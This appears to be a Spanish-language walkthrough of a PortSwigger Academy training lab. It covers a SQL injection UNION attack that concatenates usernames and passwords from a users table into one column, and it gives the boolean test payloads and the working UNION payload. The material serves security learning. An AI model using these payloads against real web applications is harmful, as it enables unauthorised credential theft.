# Lab: SQL injection UNION attack, retrieving multiple values in a single column

## Información del laboratorio

<https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns>

En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.

Esta vulnerabilidad es similar a las de los laboratorios:

* [lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-determining-the-number-of-columns-returned-by-the-query "mention")
* [lab-sql-injection-union-attack-finding-a-column-containing-text](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-finding-a-column-containing-text "mention")
* [lab-sql-injection-union-attack-retrieving-data-from-other-tables](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-retrieving-data-from-other-tables "mention")

## Flujo de explotación

### Identificación del parámetro vulnerable

Para verificar que es vulnerable, se usan payloads con el operador lógico AND, por ejemplo: `'and'1337'='1337` y `'and'1337'='1338`.

Se identifica de la misma forma que el laboratorio: [lab-sql-injection-union-attack-retrieving-data-from-other-tables](https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-union-attack-retrieving-data-from-other-tables "mention")

### Obtención de usuarios y contraseñas en una misma columna

```sql
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2F9gV34UIt25Ft4kL3RSOC%2Fimage.png?alt=media&#x26;token=1182ee3a-bbf1-45e8-8723-b4fdb6dd4017" alt=""><figcaption></figcaption></figure>

Como se puede observar, en la segunda columna se muestra el valor de ambas columnas:

```
username~password
```

<figure><img src="https://940481291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFPk1C70Fp5SRurFLmfzj%2Fuploads%2FWFeCjPMGCd978BU9Obn2%2Fimage.png?alt=media&#x26;token=d2091d6c-b11e-49cd-993a-5c4137d81a56" alt=""><figcaption></figcaption></figure>
